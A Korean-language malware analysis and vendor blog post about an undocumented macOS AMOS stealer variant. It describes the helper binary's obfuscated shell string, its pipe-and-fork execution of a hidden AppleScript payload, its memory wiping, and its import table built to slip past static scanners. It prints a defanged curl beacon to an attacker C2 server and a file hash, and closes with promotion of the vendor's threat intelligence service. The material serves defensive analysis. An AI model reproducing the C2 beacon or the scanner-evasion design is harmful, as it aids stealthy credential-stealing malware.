_bzero() 호출은 파이프에 대한 마지막 쓰기 직후 복호화된 페이로드 버퍼 전체를 0으로 만듭니다. 실행이 끝난 뒤 복호화된 페이로드가 메모리에 남아 있는 시간 창은 단 1마이크로초도 없습니다. 이 함수가 반환된 직후 생성된 라이브 메모리 덤프는 페이로드가 있던 자리에서 오직 0만 발견합니다.

이를 zero-after-use라고 하며, 이는 키 자료가 메모리에 남지 않도록 고보안 암호 라이브러리가 사용하는 것과 동일한 기법입니다. 이런 기법이 상용(commodity) 멀웨어에 등장하는 것은 이례적이며, 보안 엔지니어링 배경을 가진 개발자를 시사합니다.

전체 실행 시퀀스:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

무기가 된 임포트 테이블

이 바이너리의 전체 임포트 테이블:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

총 27개의 심볼입니다. 무엇이 빠져 있는지가 무엇이 있는지 못지않게 많은 것을 말해 줍니다.

부재: 네트워크

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

부재: 파일 시스템

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

부재: 프로세스 인트로스펙션

getpid      getuid      getenv      sysctl

부재: 암호화

CCCrypt     SecItemAdd  SecKeychainFind

전통적인 멀웨어 샘플이라면 네트워크 임포트(socket, connect)나 파일 임포트(fopen, write)를 기대하게 됩니다. 이 바이너리에는 그런 것이 단 하나도 없습니다. 표준 스캐너에게 이 바이너리는 무해한 프로세스 실행기(launcher)처럼 보이며, 이는 의도된 것입니다. 정적 분석 도구를 헛돌게 만드는 의도적인 아키텍처 결정입니다.

helper 바이너리는 탈취를 직접 수행하지 않습니다. 그 유일한 목적은 실제 악성 페이로드, 즉 강하게 난독화된 AppleScript를 내려놓고 실행하는 것입니다. 악성 바이너리를 찾는 EDR이나 AV는 여기서 네트워크나 파일 I/O가 없는 로더를 보게 되고, 이 바이너리가 고수준 스크립트 페이로드를 위한 특화된 전달 시스템이라는 사실을 인식하지 못한 채 깨끗한 것으로 분류할 수 있습니다.


백도어

이 인시던트는 최초 침해 이후에도 끝나지 않았습니다. Microsoft Defender 텔레메트리는 /Users/<redacted>/.mainhelper에서 실행되며 외부 서버를 조회하는 프로세스를 보여주었습니다:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

이 Base64 문자열은 16바이트 기기 UUID로 디코딩되었는데, 이는 공격자의 C2 인프라가 최초 감염일에 이 기기에 할당한 고유 식별자였습니다.

.mainhelper 바이너리(SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063)는 인시던트 당일 osascript 드로퍼가 ditto를 통해 설치한 것이었습니다.


집단 방패의 힘: 우리의 Shared Threat Intelligence 플랫폼

우리 SOC에서 알림이 발생하면, 시계는 해당 고객뿐 아니라 glueckkanja의 보호막 아래에 있는 모든 조직을 위해 돌아가기 시작합니다. 문서화되지 않은 이 AMOS 변종에 대한 조사는 인텔리전스 갭이 현실에서 무엇을 의미하는지 분명히 보여줍니다. 전통적인 공급업체가 위협을 아직 본 적이 없기에 눈이 먼 채로 있는 위험한 시간 창 말입니다.

바로 이 지점에서 glueckkanja CSOC 고객을 위해 독점적으로 개발된 우리의 독자적 Shared Threat Intelligence Platform이 그 가치를 드러냅니다. 우리는 업계 업데이트를 기다리지 않습니다. 우리가 그것을 만듭니다. 우리 분석가들이 아직 ARM64 어셈블리의 마지막 계층을 해체하는 동안, 우리의 Automated Orchestration Engine은 이미 추출된 지표를 우리 생태계 전반에 배포하고 있었습니다. 이것이 집단 면역(herd immunity)을 만들어냅니다. 단 하나의 엔드포인트에서 발견된 것이 몇 분 안에 우리 보호 아래에 있는 모든 조직에 대해 차단된 위협이 됩니다.

반응형 보안은 기존 방어 메커니즘의 틈새를 겨냥해 빠져나가는 위협에는 통하지 않습니다. 해답은 인간의 전문성을, 그 지식을 즉시 그리고 확장 가능하게 활용하는 아키텍처와 결합하는 데 있습니다. 우리의 공유 인텔리전스 모델을 통해 공격자의 시간적 우위는 역전됩니다. 우리 고객은 위협이 업계에 인식되기도 전에 이미 보호받고 있습니다.

개인정보 보호 안내

이 발행물에서는 식별 정보를 익명 처리했습니다. 특정 기술적 세부사항, 지표, 타임스탬프는 분석의 기술적 무결성을 해치지 않으면서 영향을 받은 환경의 지속적인 보호를 보장하기 위해 일부 변경되었을 수 있습니다.

이 보고서의 기술적 분석과 침해 지표(IOC)는 오로지 정보 제공 및 교육 목적을 위한 것입니다. 이는 최선의 지식에 근거해 제공됩니다. glueckkanja AG는 완전성이나 정확성에 관해 명시적이든 묵시적이든 어떠한 보증도 하지 않으며, 여기서 공유된 정보, 규칙, 시그니처의 사용으로 발생하는 손해, 손실, 보안 사고에 대해 책임지지 않습니다. 모든 지표와 규칙은 실제 사용 전에 통제된 환경에서 검증할 것을 권장합니다.

여기서 기술된 지표와 기법은 알려진 멀웨어 패밀리와 겹칠 수 있으며, 단일 캠페인에만 배타적으로 귀속되지 않습니다.

문의하기

우리의 Shared Threat Intelligence Platform이 업계가 알아차리기도 전에 알려지지 않은 멀웨어 변종으로부터 여러분을 어떻게 보호하는지 궁금하신가요? 저희에게 연락 주세요.
glueckkanja의 Head of Security Jan Geisbauer의 인물 사진
이 변종에서 위험했던 것은 기술적 복잡성이 아니었습니다. 물론 그것도 인상적이지만 말입니다. 위험했던 것은 시간 창이었습니다. Shared Threat Intelligence가 없었다면, 우리가 아직 분석하는 동안 다른 고객들은 몇 시간이나 무방비로 노출되어 있었을 것입니다.
Jan GeisbauerHead of Security

비슷한 게시물